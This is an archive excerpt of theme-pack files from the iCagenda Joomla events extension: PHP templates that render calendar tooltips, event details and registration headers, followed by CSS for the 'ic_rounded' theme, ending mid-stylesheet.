							<?php //echo '&rsaquo; ' . $e['title']; ?>
							<?php echo $e['title']; ?>
						</div>

						<?php // Display feature icons, if required ?>
						<?php if (!empty($e['features_icon_size'])) : ?>
						<div class="ic-features-container">
							<?php foreach ($e['features'] as $icon) : ?>
								<div class="ic-feature-icon">
									<img src="<?php echo $e['features_icon_root'] . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $e['show_icon_title'] == '1' ? $icon['icon_alt'] : '' ?>">
								</div>
							<?php endforeach ?>
						</div>
						<?php endif; ?>

						<?php // INFO ?>
						<div class="ictip-info ic-clearfix">

							<?php // Display Time (start) for each date ?>
							<?php if ($e['displaytime']) : ?>
								<div class="ictip-time">
									<?php echo $e['time']; ?>
								</div>
							<?php endif; ?>

							<?php // Display Venue Name, City and/or Country for each date ?>
							<?php if ($e['place'] OR $e['city'] OR $e['country']) : ?>
								<div class="ictip-location">
									<?php // Display Venue Name ?>
									<?php if ($e['place'] AND ($e['city'] OR $e['country']) ) : ?>
										<?php echo $e['place'].', '; ?>
									<?php else : ?>
										<?php echo $e['place']; ?>
									<?php endif; ?>
									<?php // Display City and/or Country for each date ?>
									<?php if ($e['city']) : ?>
										<?php echo $e['city']; ?>
									<?php endif; ?>
									<?php if (($e['country']) && ($e['city'])) : ?>
										<?php echo ', '.$e['country']; ?>
									<?php endif; ?>
									<?php if (($e['country']) AND (!$e['city'])) : ?>
										<?php echo $e['country']; ?>
									<?php endif; ?>
								</div>
							<?php endif; ?>

							<?php // Display Short Description ?>
							<?php if ($e['descShort']) : ?>
								<div class="ictip-desc">
									<?php echo $e['descShort']; ?>
								</div>
							<?php endif; ?>

						</div>

						<?php // Display Registration Information ?>
						<?php if ($e['registrations']) : ?>
						<div class="regButtons ic-reg-buttons">

							<?php if (!$e['date_sold_out']) : ?>
								<?php if ($e['maxTickets']) : ?>
									<span class="iCreg available">
										<?php echo JText::_( 'MOD_ICCALENDAR_SEATS_NUMBER' ) . ': ' . $e['maxTickets']; ?>
									</span>
								<?php endif; ?>
								<?php if ($e['TicketsLeft'] && $e['maxTickets']) : ?>
									<span class="iCreg ticketsleft">
										<?php echo JText::_( 'MOD_ICCALENDAR_SEATS_AVAILABLE' ) . ': ' . $e['TicketsLeft']; ?>
									</span>
								<?php endif; ?>
								<?php if ($e['registered']) : ?>
									<span class="iCreg registered">
										<?php echo JText::_( 'MOD_ICCALENDAR_ALREADY_REGISTERED' ) . ': ' . $e['registered']; ?>
									</span>
								<?php endif; ?>
							<?php else : ?>
								<span class="iCreg closed">
									<?php echo $e['date_sold_out']; ?>
								</span>
							<?php endif; ?>

						</div>
						<?php endif; ?>
					</div>
					<?php echo '</a>'; ?>
				</div>
			<?php endforeach; ?>
		</div>

		<?php // Display Date at the top of the info-tip ?>
		<div class="date ictip-date">
			<span class="ictip-date-lbl">
				<?php echo JTEXT::_('JDATE');  ?> :
			</span>
			<span class="ictip-date-format">
				<?php echo $stamp->dateTitle; ?>
			</span>
		</div>

	</div><?php // end of the day ?>

<?php // Day with no event ?>
<?php else : ?>
	<div class="no-event <?php echo $stamp->ifToday; ?>" data-cal-date="<?php echo $stamp->this_day; ?>">
		<?php echo $stamp->Days; ?>
	</div>
<?php endif; ?>
com_icagenda/themes/packs/default/default_calendar.php000060400000001660152453734450017150 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	default
 * @template	calendar
 * @version 	3.5.6 2015-05-19
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Calendar -->

<?php // Code can be added at Top of calendar ?>

<?php // Calendar Template ?>
<?php
	$stamp->days();
?>

<?php // Code can be added at Bottom of calendar ?>
com_icagenda/themes/packs/default/default_event.php000060400000016247152453734450016527 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	default
 * @template	event_details
 * @version 	3.5.6 2015-05-19
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Event details -->

<?php // Event Details Template ?>
<div class="ic-clearfix">

	<?php // Header ?>
	<h2>
		<?php // Feature icons ?>
		<?php if (!empty($FEATURES_ICONSIZE_EVENT)) : ?>
		<div class="ic-features-container">
			<?php foreach ($FEATURES_ICONS as $icon) : ?>
			<div class="ic-feature-icon">
				<img class="iCtip" src="<?php echo $FEATURES_ICONROOT_EVENT . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $SHOW_ICON_TITLE == '1' ? $icon['icon_alt'] : '' ?>">
			</div>
			<?php endforeach ?>
		</div>
		<?php endif ?>

		<?php // Title of the event ?>
		<?php echo $EVENT_TITLE; ?>
	</h2>

	<?php // Sharing and Registration ?>
	<div class="ic-event-buttons ic-clearfix">

		<?php // AddThis Social Sharing ?>
		<div class="ic-event-addthis ic-float-left">
			<?php echo $EVENT_SHARING; ?>
		</div>

		<?php // Registration button ?>
		<div class="ic-event-registration ic-float-right">
			<?php echo $EVENT_REGISTRATION; ?>
		</div>

	</div>

	<?php // Event Display ?>
	<div class="ic-info">

		<?php // Show Image of the event ?>
		<?php if ($EVENT_IMAGE): ?>
			<div class="ic-image ic-align-center">
				<?php echo $EVENT_IMAGE_TAG; ?>
			</div>
		<?php endif; ?>

		<?php // Details of the event ?>
		<div class="ic-details ic-align-left">

			<div class="ic-divTable ic-align-left ic-clearfix">

				<?php // Category ?>
				<div class="ic-divRow">
					<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_CAT');  ?></div>
					<div class="ic-divCell ic-value"><?php echo $CATEGORY_TITLE; ?></div>
				</div>

				<?php // Next Date ('next' 'today' or 'last date' if no next date) ?>
				<div class="ic-divRow">
					<div class="ic-divCell ic-label"><?php echo $EVENT_VIEW_DATE_TEXT; ?></div>
					<div class="ic-divCell ic-value"><?php echo $EVENT_VIEW_DATE; ?></div>
				</div>

				<?php // Venue name and/or address (different display, depending on the fields filled) ?>
				<?php if ($EVENT_VENUE OR $EVENT_ADDRESS): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_PLACE'); ?></div>
						<div class="ic-divCell ic-value">
							<?php if (($EVENT_VENUE) and (!$EVENT_ADDRESS)): ?>
								<?php echo $EVENT_VENUE; ?><?php if ($EVENT_CITY): ?> - <?php echo $EVENT_CITY;?><?php endif; ?>
							<?php endif; ?>
							<?php if ((!$EVENT_VENUE) and ($EVENT_ADDRESS)): ?>
								<?php echo $EVENT_ADDRESS; ?>
							<?php endif; ?>
							<?php if (($EVENT_VENUE) and ($EVENT_ADDRESS)): ?>
								<?php echo $EVENT_VENUE; ?> - <?php echo $EVENT_ADDRESS;?>
							<?php endif; ?>
						</div>
					</div>
				<?php endif; ?>

				<?php // Information ?>
				<?php if ($EVENT_INFOS || $CUSTOM_FIELDS): ?>

					<?php // Max. Nb of seats ?>
					<?php if ($MAX_NB_OF_SEATS): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_REGISTRATION_NUMBER_PLACES'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $MAX_NB_OF_SEATS; ?></div>
						</div>
					<?php endif; ?>

					<?php // Nb of seats available ?>
					<?php if ($SEATS_AVAILABLE): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_REGISTRATION_PLACES_LEFT'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $SEATS_AVAILABLE; ?></div>
						</div>
					<?php endif; ?>

					<?php // Phone ?>
					<?php if ($EVENT_PHONE): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_PHONE'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $EVENT_PHONE; ?></div>
						</div>
					<?php endif; ?>

					<?php // Email ?>
					<?php if ($EVENT_EMAIL): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_MAIL'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $EVENT_EMAIL_CLOAKING; ?></div>
						</div>
					<?php endif; ?>

					<?php // Website ?>
					<?php if ($EVENT_WEBSITE): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_WEBSITE'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $EVENT_WEBSITE_LINK; ?></div>
						</div>
					<?php endif; ?>

					<?php // Custom Fields ?>
					<?php if ($CUSTOM_FIELDS): ?>
						<?php foreach ($CUSTOM_FIELDS AS $FIELD): ?>
							<?php if ($FIELD->title && $FIELD->value) : ?>
								<div class="ic-divRow">
									<div class="ic-divCell ic-label"><?php echo $FIELD->title; ?></div>
									<div class="ic-divCell ic-value"><?php echo $FIELD->value; ?></div>
								</div>
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>

					<?php // File attached ?>
					<?php if ($EVENT_ATTACHEMENTS): ?>
						<div class="ic-divRow">
							<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_FILE'); ?></div>
							<div class="ic-divCell ic-value"><?php echo $EVENT_ATTACHEMENTS_TAG; ?></div>
						</div>
					<?php endif; ?>

				<?php endif; ?>

			</div>

		</div><?php // end div.details ?>


	<?php // description text ?>
	<?php if ($EVENT_DESC): ?>
		<div class="ic-short-description">
			<?php echo $EVENT_SHORTDESC; ?>
		</div>
		<div class="ic-full-description">
			<?php echo $EVENT_DESCRIPTION; ?>
		</div>
	<?php endif; ?>

	<div>&nbsp;</div>

	<?php // Google Maps ?>
	<?php if ($GOOGLEMAPS_COORDINATES): ?>
		<div id="ic-detail-map">
			<div class="icagenda_map">
				<?php echo $EVENT_MAP; ?>
			</div>
		</div>
	<?php endif; ?>

	<div>&nbsp;</div>

	<?php // List of all dates (multi-dates and/or period from to) ?>
	<?php if ($EVENT_SINGLE_DATES OR $EVENT_PERIOD): ?>
		<div id="ic-list-of-dates" class="ic-all-dates">
			<h3>
				<?php echo JTEXT::_('COM_ICAGENDA_EVENT_DATES'); ?>
			</h3>
			<div class="ic-dates-list">

				<?php // Period from X to X ?>
				<?php echo $EVENT_PERIOD; ?>

				<?php // Individual dates ?>
				<?php echo $EVENT_SINGLE_DATES; ?>

			</div>
		</div>
	<?php endif; ?>

	</div><?php // end div.info ?>

	<?php // List of Participants ?>
	<?php if ($PARTICIPANTS_DISPLAY == 1 && $EVENT_PARTICIPANTS) : ?>
		<div id="ic-list-of-participants" class="ic-participants">
			<?php // Display header title 'List of Participants' if slide effect is disabled ?>
			<?php if ($PARTICIPANTS_HEADER) : ?>
				<h3>
					<?php echo $PARTICIPANTS_HEADER; ?>
				</h3>
			<?php endif; ?>
			<?php echo $EVENT_PARTICIPANTS; ?>
		</div>
	<?php endif; ?>


</div><?php // end div Event-details ?>
com_icagenda/themes/packs/index.html000060400000000054152453734450013527 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/ic_rounded/ic_rounded_registration.php000060400000002604152453734450021266 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	ic_rounded
 * @template	event_registration
 * @version 	3.5.10 2015-08-05
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Event registration -->

<?php // Header of Registration page ?>
<?php // Show event ?>
<div class="ic-reg-event ic-clearfix">
	<div class="ic-reg-box">
		<?php if ($EVENT_NEXT): ?>
		<div class="ic-reg-icon ic-float-left">
		</div>
		<?php endif; ?>
		<div class="ic-reg-content">

			<?php // Category ?>
			<div class="ic-reg-cat">
				<?php echo $CATEGORY_TITLE; ?>
			</div>

			<?php // Event Title with link to event ?>
			<div class="ic-reg-event-title">
				<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>"><?php echo $EVENT_TITLE; ?></a>
			</div>
		</div>
	</div>
</div>
<?php // END Header ?>
com_icagenda/themes/packs/ic_rounded/ic_rounded_event.php000060400000017760152453734450017706 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	ic_rounded
 * @template	event_details
 * @version 	3.5.6 2015-05-19
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Event details -->

<?php // Event Details Template ?>

	<?php // Header (Title/Category) of the event ?>
	<div class="event-header ic-event-header ic-clearfix">

		<?php // Title of the event ?>
		<div class="title-header ic-title-header ic-float-left">
			<h1>
				<?php echo $EVENT_TITLE; ?>
			</h1>
		</div>

		<?php // Feature icons ?>
		<?php if (!empty($FEATURES_ICONSIZE_EVENT)) : ?>
		<div class="ic-features-container">
			<?php foreach ($FEATURES_ICONS as $icon) : ?>
			<div class="ic-feature-icon">
				<img class="iCtip" src="<?php echo $FEATURES_ICONROOT_EVENT . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $SHOW_ICON_TITLE == '1' ? $icon['icon_alt'] : '' ?>">
			</div>
			<?php endforeach ?>
		</div>
		<?php endif ?>

		<?php // Category ?>
		<div class="title-cat ic-title-cat ic-float-right ic-details-cat" style="color:<?php echo $CATEGORY_COLOR; ?>;">
			<?php echo $CATEGORY_TITLE; ?>
		</div>

	</div>

	<?php // Sharing and Registration ?>
	<div>

		<?php // AddThis Social Sharing ?>
		<div class="ic-event-addthis ic-float-left">
			<?php echo $EVENT_SHARING; ?>
		</div>

		<?php // Registration button ?>
		<div class="ic-event-registration">
			<?php echo $EVENT_REGISTRATION; ?>
		</div>

	</div>
	<div style="clear:both"></div>

	<?php // Event Informations Display ?>
	<div class="icinfo ic-info">

		<?php // Show Image of the event ?>
		<div class="image ic-image">
			<?php if ($EVENT_IMAGE): ?>
				<?php echo $IMAGE_LARGE_HTML; ?>
			<?php endif; ?>
		</div>

		<?php // Details of the event ?>
		<div class="details ic-details">

			<?php // Next Date ('next' 'today' or 'last date' if no next date) ?>
			<strong><?php echo $EVENT_VIEW_DATE_TEXT; ?>:</strong>&nbsp;<?php echo $EVENT_VIEW_DATE; ?>

			<?php // Location (different display, depending on the fields filled) ?>
			<p>

				<?php // Venue name ?>
				<?php if ($EVENT_VENUE): ?>
					<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_PLACE'); ?>:</strong>&nbsp;<?php echo $EVENT_VENUE;?>
				<?php endif; ?>

				<?php // If Venue Name exists and city set (Google Maps). Displays Country if set. ?>
				<?php if (($EVENT_VENUE) AND ($EVENT_CITY)): ?>
					<span>&nbsp;|&nbsp;</span>
					<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_CITY'); ?>:</strong>&nbsp;<?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>,&nbsp;<?php echo $EVENT_COUNTRY;?><?php endif; ?>
				<?php endif; ?>

				<?php // If Venue Name doesn't exist and city set (Google Maps). Displays Country if set. ?>
				<?php if ((!$EVENT_VENUE) AND ($EVENT_CITY)): ?>
					<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_CITY'); ?>:</strong>&nbsp;<?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>,&nbsp;<?php echo $EVENT_COUNTRY;?><?php endif; ?>
				<?php endif; ?>

			</p>

		</div>
		<div style="clear:both"></div>

		<?php if ($EVENT_DESC || $EVENT_INFOS): ?>

		<?php // description text ?>
		<?php if ($EVENT_DESC): ?>
		<div id="ic-detail-desc" class="ic-detail-desc">
			<div class="ic-short-description">
				<?php echo $EVENT_SHORTDESC; ?>
			</div>
			<div class="ic-full-description">
				<?php echo $EVENT_DESCRIPTION; ?>
			</div>
		<?php endif; ?>

		<?php if (!$EVENT_DESC && $EVENT_INFOS): ?>
		<div>
		<?php endif; ?>

			<p>&nbsp;</p>

			<?php // Information ?>
			<?php if ($EVENT_INFOS || $CUSTOM_FIELDS): ?>
			<div class="ic-info-box">

				<?php // Title Box Information ?>
				<div class="ic-info-box-header">
					<label><?php echo JTEXT::_('COM_ICAGENDA_EVENT_INFOS'); ?></label>
				</div>

				<?php // Information Details ?>
				<div class="ic-info-box-content ic-divTable ic-align-left ic-clearfix">

					<?php // file attached ?>
					<?php if ($EVENT_ATTACHEMENTS): ?>
					<div class="ic-info-box-file">
						<label><?php echo JTEXT::_('COM_ICAGENDA_EVENT_FILE'); ?></label>
						<div class="ic-download"><?php echo $EVENT_ATTACHEMENTS_TAG; ?></div>
					</div>
					<?php endif; ?>

					<?php // Nb of seats available ?>
					<?php if ($SEATS_AVAILABLE): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_REGISTRATION_PLACES_LEFT');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $SEATS_AVAILABLE; ?></div>
					</div>
					<?php endif; ?>

					<?php // Max. Nb of seats ?>
					<?php if ($MAX_NB_OF_SEATS): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_REGISTRATION_NUMBER_PLACES');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $MAX_NB_OF_SEATS; ?></div>
					</div>
					<?php endif; ?>

					<?php // Phone Number ?>
					<?php if ($EVENT_PHONE): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_PHONE');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $EVENT_PHONE; ?></div>
					</div>
					<?php endif; ?>

					<?php // Email ?>
					<?php if ($EVENT_EMAIL): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_MAIL');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $EVENT_EMAIL_CLOAKING; ?></div>
					</div>
					<?php endif; ?>

					<?php // Website ?>
					<?php if ($EVENT_WEBSITE): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_WEBSITE');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $EVENT_WEBSITE_LINK; ?></div>
					</div>
					<?php endif; ?>

					<?php // Custom Fields ?>
					<?php if ($CUSTOM_FIELDS): ?>
						<?php foreach ($CUSTOM_FIELDS AS $FIELD): ?>
							<?php if ($FIELD->title && $FIELD->value) : ?>
								<div class="ic-divRow">
									<div class="ic-divCell ic-label"><?php echo $FIELD->title;  ?></div>
									<div class="ic-divCell ic-value"><?php echo $FIELD->value; ?></div>
								</div>
							<?php endif; ?>
						<?php endforeach; ?>
					<?php endif; ?>

					<?php // Address ?>
					<?php if ($EVENT_ADDRESS): ?>
					<div class="ic-divRow">
						<div class="ic-divCell ic-label"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_ADDRESS');  ?></div>
						<div class="ic-divCell ic-value"><?php echo $EVENT_ADDRESS; ?></div>
					</div>
					<?php endif; ?>
				</div>

			</div><?php // end div.details ?>
			<?php endif; ?>

		</div>
		<div style="clear:both"></div>
		<?php endif; ?>

	</div>
	<div style="clear:both"></div>

	<?php // Google Maps ?>
	<?php if ($GOOGLEMAPS_COORDINATES): ?>
	<p>&nbsp;</p>
	<div id="detail-map">
		<h3><?php echo JTEXT::_('COM_ICAGENDA_EVENT_MAP'); ?></h3><br />
		<div id="icagenda_map">
			<?php echo $EVENT_MAP; ?>
		</div>
	</div>
	<div style="clear:both"></div>
	<?php endif; ?>

	<?php // List of all dates (multi-dates and/or period from to) ?>
	<?php if ($EVENT_SINGLE_DATES OR $EVENT_PERIOD): ?>
	<p>&nbsp;</p>
	<div id="detail-date-list">
		<h3 class="alldates"><?php echo JTEXT::_('COM_ICAGENDA_EVENT_DATES'); ?></h3><br />
		<div class="datesList">
			<?php echo $EVENT_PERIOD; ?>
			<?php echo $EVENT_SINGLE_DATES; ?>
		</div>
	</div>
	<div style="clear:both"></div>
	<?php endif; ?>

	<?php // List of Participants ?>
	<?php if ($PARTICIPANTS_DISPLAY == 1 && $EVENT_PARTICIPANTS) : ?>
	<p>&nbsp;</p>
	<div class="ic-participants ic-rounded-10">
		<h3><?php echo $PARTICIPANTS_HEADER; ?></h3>
		<?php echo $EVENT_PARTICIPANTS; ?>
	</div>
	<div style="clear:both"></div>
	<?php endif; ?>
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_component_medium.css000060400000000640152453734450022705 0ustar00/*
 * COM_ICAGENDA
 * Medium devices (usually a laptop computer)
 * 'Medium Screen Threshold' < SCREEN WIDTH < ('Large Screen Threshold' - 1)
 * Default : 769 < SCREEN WIDTH < 1200
 */

/* Style Information */
.ic-info-box {
	text-align: center;
	width: auto;
}

.ic-info-box .ic-info-box-header {
	width: 86%;
}

.ic-info-box .ic-info-box-content {
	width: 64%;
}

.ic-info-box .ic-info-box-file {
	width: 100px;
}
com_icagenda/themes/packs/ic_rounded/css/ic_rounded_module.css000060400000023400152453734450020627 0ustar00/*
 * MOD_ICCALENDAR
 * iCagenda by JoomliC
 * Theme Pack Official
 * iC Rounded Theme - module calendar
 *
 * @name		ic_rounded
 * @author		Lyr!C (JoomliC)
 * @version 	3.5.9 2015-07-31
 * @since		1.0
 */


/* Clear Float div */
.ic-clearfix {
	*zoom: 1;
}
.ic-clearfix:before,
.ic-clearfix:after {
	display: table;
	content: "";
	line-height: 0;
}
.ic-clearfix:after {
	clear: both;
}

/*
 * CALENDAR STYLES
 */

/* General Calendar */
.ic_rounded.iccalendar {
	display: block;
	margin: auto;
	padding: 3px;
	border: 3px solid #ddd;
	border-radius: 10px;
	min-width: 150px;
	max-width: 350px;
}

/* General Table */
.ic_rounded.iccalendar .ic-table table {
	padding: 1%;
	margin: 0;
	border: 0;
	border-collapse: collapse;
}
.ic_rounded.iccalendar .ic-table thead {
	font-size: 10px;
	font-weight: 500;
}
.ic_rounded.iccalendar .ic-table th {
	padding: 0;
	margin: 0;
	text-align: center;
	border: 0;
}
.ic_rounded.iccalendar .ic-table tr {
	padding: 0;
	margin: 0;
	border: 0;
}


/*
 * DAYS STYLES
 */

/* General */
.ic_rounded.iccalendar .ic-table td {
	padding: 3px;
	margin: 0;
	border: 0;
}
.ic_rounded.iccalendar .ic-table td div {
	text-align: center;
	font-size: 10px;
	border-radius: 3px;
	line-height: 20px;
	border: none;
	width: auto;
}

/* Styles for days (today or else) */
.ic_rounded.iccalendar div.style_Today {
	border: 1px;
	border-color: #777;
	line-height: 18px;
	border-style: solid;
	font-size: 12px;
	font-weight: bold;
	text-shadow: 0px 0px 10px #777;
	box-shadow: 0px 0px 5px #999;
}
.ic_rounded.iccalendar div.style_Day {
	border: none;
}

/* In case of no event */
.ic_rounded.iccalendar .no-event {
}

/* In case of event */
.ic_rounded.iccalendar .icevent a {
	display: block;
	text-align: center;
	height: 100%;
	color: #fff;
	text-decoration: none;
}

/* Dark background */
.ic-dark {
	color: #fff !important;
}
/* Bright background */
.ic-bright {
	color: #111 !important;
}
.ic_rounded.iccalendar .icevent a .ic-bright {
	display: block;
	text-align: center;
	height: 100%;
	color: #111;
	text-decoration: none;
}

/* In case of multi-event day */
.ic_rounded.iccalendar .icmulti a {
	background: url(../images/plus.png) top right no-repeat;
	display: block;
	text-align: center;
	height: 100%;
	color: #fff;
	text-decoration: none;
	border-radius: 3px;
}

/* In case of multi-event day (bright background) */
.ic_rounded.iccalendar .icmulti a .bright {
	background: url(../images/plus.png) top right no-repeat;
	display: block;
	text-align: center;
	height: 100%;
	color: #111;
	text-decoration: none;
	border-radius: 3px;
}

/* Loading... */
.ic_rounded.iccalendar .icloading_box {
	display: block;
	height: 172px;
	font-size: 10px;
}
.ic_rounded.iccalendar .icloading_img {
	display: block;
	width: 100%;
	height: 172px;
	background: url(../images/ic_load.gif) 50% 50% no-repeat;
}


/*
 * SCRIPT FUNCTION (Dates with event)
 */

/* General */
.ic_rounded .icevent,
.ic_rounded .icmulti {}

/* Text (Don't modify it!) */
.ic_rounded .icevent .spanEv,
.ic_rounded .icmulti .spanEv {
	display: none !important; /* !important to prevent issue with stupid site templates... */
}

/* Date (Don't modify it!) */
.ic_rounded .icevent .date,
.ic_rounded .icmulti .date {
	display: none !important; /* !important to prevent issue with stupid site templates... */
}

/* Link */
.ic_rounded .icevent a,
.ic_rounded .icmulti a {
	cursor: pointer;
}


/*
 * NAVIGATOR
 */

/* Arrows General */
.ic_rounded .icagendabtn {
	font-family: arial;
}

/* Navigator General */
.ic_rounded .icnav {
	font-size: 10px;
	padding: 0px;
	margin: 0px;
	min-height: 24px;
}

/* Arrows General */
.ic_rounded .icnav .backicY,
.ic_rounded .icnav .backic,
.ic_rounded .icnav .nextic,
.ic_rounded .icnav .nexticY {
	display: block;
	text-decoration: none;
	color: #555555;
}

/* Arrows Back Month and Year (Left) */
.ic_rounded .icnav .backic,
.ic_rounded .icnav .backicY {
	float: left
}

/* Arrows Next Month and Year (Right) */
.ic_rounded .icnav .nextic,
.ic_rounded .icnav .nexticY {
	float: right
}

/* Arrows Back and Next - Month */
.ic_rounded .icnav .backic,
.ic_rounded .icnav .nextic {
	background: none;
	font-size: 12px;
	width: auto;
	cursor: pointer;
}

/* Arrows Back and Next - Year */
.ic_rounded .icnav .backicY,
.ic_rounded .icnav .nexticY {
	background: none;
	font-size: 12px;
	width: auto;
	cursor: pointer;
}

/* Arrows General Button Style */
.ic_rounded .icnav .backic,
.ic_rounded .icnav .nextic,
.ic_rounded .icnav .backicY,
.ic_rounded .icnav .nexticY {
	border: 1px solid #ccc;
	border-radius: 3px;
	line-height: 12px;
	margin: 0;
	padding: 2px 0;
	text-align: center;
	vertical-align: middle;
	width: 12%;
}
.ic_rounded .icnav .backic,
.ic_rounded .icnav .backicY {
	margin-right: 3px;
}

.ic_rounded .icnav .nextic,
.ic_rounded .icnav .nexticY {
	margin-left: 3px;
}

/* Arrows General Hover */
.ic_rounded .icnav .backicY:hover,
.ic_rounded .icnav .backic:hover,
.ic_rounded .icnav .nextic:hover,
.ic_rounded .icnav .nexticY:hover {
	display: block;
	text-decoration: none;
	border: 1px solid #999999;
	color: #333333;
}

/* Navigator Title (month and year) */
.ic_rounded .icnav .titleic {
	font-size: 12px;
	text-align: center;
	width: auto;
}


/*
 * INFO TIP
 */

/* General */
#ictip {
	color: #333333;
	font-family: arial;
	text-align: left;
	background: #f3f3f3;
	border: 5px solid #ccc;
	margin: 4px 10px;
	padding: 15px;
	width: auto;
	min-width: 320px;
	border-radius: 10px;
	z-index: 10000;
	-webkit-box-shadow: 2px 2px 4px #999;
	-moz-box-shadow: 2px 2px 4px #999;
	box-shadow: 2px 2px 4px #999;
	max-height: 100%;
	overflow-y: auto;
}
#ictip .ictip-event {
	display: block;
	float: left;
	width: 100%;
	padding: 15px 0;
	border-top: 1px solid #eee;
}
#ictip span {
	margin: 10px;
	font-size: 0.8em;
}
#ictip a {
	display: block;
	font-size: 1.2em;
	text-decoration: none;
	background: none;
}

/* Date Header */
#ictip .ictip-date {
}
#ictip span.ictip-date-lbl {
	font-variant: small-caps;
}
#ictip span.ictip-date-format {
	font-size: 1em;
}

/* Close "X" */
#ictip a.close {
	position: absolute;
	display: block;
	width: auto;
	top: 15px;
	right: 15px;
	color: red;
	text-decoration: none !important;
}
#ictip a.close:hover {
	background: none !important;
	color: black;
	cursor: pointer;
}

/* Event Div */
#ictip div.linkTo {
	color: #333;
	background: none;
	text-decoration: none;
	transition: all 0.5s;
	-moz-transition: all 0.5s;
	-webkit-transition: all 0.5s;
	-o-transition: all 0.5s;
}
#ictip div.linkTo:hover {
	color: #111;
	background: rgba(0,0,0,0.1);
	background-color: rgba(0,0,0,0.1);
	border-radius: 5px;
}

/* Contener of the image */
#ictip span.img {
	display: block;
	width: 100px;
	float: left;
	text-align: center;
	padding: 5px;
	border-radius: 3px;
	box-sizing: content-box;
}

/* Image Thumb */
#ictip span.img img {
	max-width: 100px;
	border: 0px solid #ccc;
	border-radius: 3px;
	opacity: 1 !important; /* Added due to override of some site templates (Shape5 vertex, ...) */
}

/* no-image */
#ictip div.noimg {
	color: #FFFFFF;
	font-size: 10px;
	text-align: center;
	padding: 5px;
}
#ictip .bright {
